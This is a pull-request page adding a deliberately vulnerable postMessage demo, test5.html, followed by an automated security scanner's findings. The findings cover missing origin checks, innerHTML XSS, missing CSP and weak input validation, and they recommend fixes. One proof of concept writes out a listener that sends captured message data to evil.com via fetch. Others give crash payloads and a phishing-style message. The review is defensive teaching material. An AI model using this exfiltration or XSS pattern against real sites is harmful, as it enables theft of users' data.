Create test5.html

[maekuss]

No description provided.

[hacktron-app-dev]

🟢 Unsafe Type Coercion in Message Data Handling

Severity: low
File: test5.html (Line 30)

Description: The code performs type checking using typeof but then uses JSON.stringify on non-string data without validating the structure. This could lead to unexpected behavior if the message data contains circular references, functions, or other non-serializable objects, potentially causing the application to crash or behave unpredictably.

Proof of Concept:

Send a message with circular reference:

const obj = {};
obj.self = obj;
window.opener.postMessage(obj, '*');
// This will throw: TypeError: Converting circular structure to JSON

Or send a function:
window.opener.postMessage({fn: () => alert(1)}, '*');
// Function will be silently dropped, resulting in {}

Recommended fix:
try {
  const incoming = typeof event.data === 'string' 
    ? event.data 
    : JSON.stringify(event.data);
} catch (e) {
  console.error('Invalid message data', e);
  return;
}

Finding ID: 550e8400-e29b-41d4-a716-446655440023

[hacktron-app-dev]

🟡 Lack of Content Security Policy (CSP) Headers

Severity: medium
File: test5.html (Line 1)

Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. A properly configured CSP would provide defense-in-depth by restricting inline script execution and limiting the sources from which scripts can be loaded, even if the postMessage vulnerability is exploited.

Proof of Concept:

Add CSP meta tag to prevent inline script execution:

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'">

Or better, set via HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'

Finding ID: 550e8400-e29b-41d4-a716-446655440022

[hacktron-app-dev]

🟡 Wildcard targetOrigin in postMessage Documentation Example

Severity: medium
File: test5.html (Line 42)

Description: The documentation example on line 42 demonstrates using a wildcard (*) as the targetOrigin parameter in postMessage. While this is in a comment showing the attack vector, it could mislead developers into thinking this is acceptable practice. Using wildcard targetOrigin allows any window to receive the message, potentially exposing sensitive data to malicious origins.

Proof of Concept:

If a developer copies this pattern:

// INSECURE - sends to any origin
window.postMessage(sensitiveData, '*');

An attacker can receive the data:
window.addEventListener('message', (e) => {
  fetch('https://evil.com/steal?data=' + e.data);
});

Finding ID: 550e8400-e29b-41d4-a716-446655440021

[hacktron-app-dev]

🟢 Potential Information Disclosure via Origin Display

Severity: low
File: test5.html (Line 28)

Description: The application displays the origin of incoming messages directly in the DOM without any filtering or sanitization. While this appears to be for debugging purposes, it could potentially leak information about the application's communication patterns or be used in social engineering attacks by displaying misleading origin information.

Proof of Concept:

An attacker could craft messages from various origins to probe the application:

// Probe from different origins
const origins = [
  'https://trusted-bank.com',
  'https://internal-admin.company.com',
  'https://api.payment-processor.com'
];

// The displayed origin could be used in phishing attacks
// by making users think messages are from trusted sources
window.opener.postMessage('Click here to verify your account', '*');

Consider: Only display origin in development mode, or hash/anonymize it in production.

Finding ID: 550e8400-e29b-41d4-a716-446655440016

[hacktron-app-dev]

🟡 Insufficient Input Validation on Message Data Type

Severity: medium
File: test5.html (Line 30)

Description: The code performs a basic type check (typeof event.data === 'string') but does not validate the structure, format, or content of the message data. This weak validation allows attackers to send unexpected data types or malformed payloads that could cause application errors or be exploited in conjunction with other vulnerabilities.

Proof of Concept:

An attacker can send various malformed payloads:

// Circular reference causing JSON.stringify to fail
const circular = {};
circular.self = circular;
window.opener.postMessage(circular, '*');

// Large payload causing performance issues
window.opener.postMessage('A'.repeat(10000000), '*');

Recommended fix:
// Validate message structure
if (typeof event.data !== 'object' || !event.data.type || !event.data.payload) {
  console.error('Invalid message format');
  return;
}

Finding ID: 550e8400-e29b-41d4-a716-446655440015

[hacktron-app-dev]

🟡 Missing Content Security Policy (CSP) Headers

Severity: medium
File: test5.html (Line 1)

Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. CSP provides an additional layer of defense by restricting the sources from which scripts can be executed and preventing inline script execution.

Proof of Concept:

Add CSP meta tag to prevent inline script execution:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'">

Or better yet, implement CSP via HTTP headers on the server:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Finding ID: 550e8400-e29b-41d4-a716-446655440014

[hacktron-app-dev]

🔒 Hacktron Security Scan Results

🔐 Security Analysis: Cross-Origin Communication Implementation

This PR introduces test5.html, a demonstration page showcasing cross-origin communication using the Web Messaging API (postMessage). Our automated security analysis has completed a comprehensive review of the implementation.

📊 Message Flow Architecture

sequenceDiagram
    participant Attacker as Malicious Site
    participant Browser as Browser Window
    participant Victim as test5.html
    participant DOM as DOM Output
    
    Attacker->>Browser: window.open(victim_url)
    Browser->>Victim: Load page
    Attacker->>Victim: postMessage(payload, "*")
    Victim->>Victim: addEventListener("message")
    Note over Victim: ❌ No origin validation
    Victim->>Victim: Display origin (info only)
    Victim->>Victim: typeof check on data
    Note over Victim: ❌ No sanitization
    Victim->>DOM: innerHTML = untrusted data
    DOM->>DOM: Execute injected scripts
    Note over DOM: 🚨 XSS Executed

Loading

�� What This PR Does

This PR adds an educational demonstration page that implements cross-origin messaging functionality:

• Message Reception: Implements a window.addEventListener("message") handler to receive cross-origin messages
• Origin Display: Shows the origin of incoming messages in the UI for transparency
• Dynamic Content Rendering: Renders received message content into the DOM for display
• Type Handling: Includes logic to handle both string and object message payloads
• Documentation: Contains inline comments and reproduction steps for security testing
• Secure Pattern Reference: Includes commented-out code showing recommended secure implementation

🏗️ Technical Implementation

The page demonstrates a common web messaging pattern:

1. Event Listener Setup: Registers a global message event listener on page load
2. Message Processing: Accepts and processes messages from any origin
3. UI Updates: Dynamically updates the DOM to reflect received message content
4. Developer Guidance: Provides examples of both vulnerable and secure patterns

⚙️ Use Case

This implementation is designed to demonstrate:

• How postMessage API works for cross-origin communication
• Common security pitfalls in message handling
• The importance of origin validation and input sanitization
• Attack vectors that can exploit improper implementations

🔍 Security Review Status

Our automated security scanner has completed analysis and identified several areas requiring attention before this code can be used in production environments.

---

📊 Summary

• Total Findings: 6
• Medium: 4 🟡
• Low: 2 🟢

🔍 Findings

🟡 Medium

1. Lack of Content Security Policy (CSP) Headers

   • File: test5.html:1
   • Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. A properly configured CSP would provide defense-in-depth by restricting inline script execution and limiting the sources from which scripts can be loaded, even if the postMessage vulnerability is exploited.
   • Category: vulnerability

2. Wildcard targetOrigin in postMessage Documentation Example

   • File: test5.html:42
   • Description: The documentation example on line 42 demonstrates using a wildcard (*) as the targetOrigin parameter in postMessage. While this is in a comment showing the attack vector, it could mislead developers into thinking this is acceptable practice. Using wildcard targetOrigin allows any window to receive the message, potentially exposing sensitive data to malicious origins.
   • Category: vulnerability

3. Insufficient Input Validation on Message Data Type

   • File: test5.html:30
   • Description: The code performs a basic type check (typeof event.data === 'string') but does not validate the structure, format, or content of the message data. This weak validation allows attackers to send unexpected data types or malformed payloads that could cause application errors or be exploited in conjunction with other vulnerabilities.
   • Category: weakness

4. Missing Content Security Policy (CSP) Headers

   • File: test5.html:1
   • Description: The HTML page does not implement Content Security Policy headers to mitigate XSS attacks. CSP provides an additional layer of defense by restricting the sources from which scripts can be executed and preventing inline script execution.
   • Category: misconfiguration

🟢 Low

1. Unsafe Type Coercion in Message Data Handling

   • File: test5.html:30
   • Description: The code performs type checking using typeof but then uses JSON.stringify on non-string data without validating the structure. This could lead to unexpected behavior if the message data contains circular references, functions, or other non-serializable objects, potentially causing the application to crash or behave unpredictably.
   • Category: vulnerability

2. Potential Information Disclosure via Origin Display

   • File: test5.html:28
   • Description: The application displays the origin of incoming messages directly in the DOM without any filtering or sanitization. While this appears to be for debugging purposes, it could potentially leak information about the application's communication patterns or be used in social engineering attacks by displaying misleading origin information.
   • Category: suspicion

---

📋 View Full Scan Report

Powered by Hacktron